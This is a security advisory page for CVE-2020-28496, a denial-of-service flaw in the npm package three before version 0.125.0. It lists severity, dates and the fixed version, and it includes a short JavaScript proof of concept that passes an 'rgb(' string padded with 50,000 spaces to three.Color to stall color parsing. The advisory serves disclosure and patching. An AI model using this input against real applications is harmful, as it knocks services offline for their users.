Advisory

GHSA-fq6p-x6j3-cmmq

Also known as: CVE-2020-28496

Summary

Denial of service in three

Details

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC:

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")

Severity

High Basis: The source's own band: HIGH

Dates

Published
2021-03-01 19:57 UTC
Modified
2023-11-08 04:03 UTC

Affected packages and fixes

three

npm · All systems

Affected

  • introduced 0, fixed 0.125.0 (semver)

Fixed versions

0.125.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences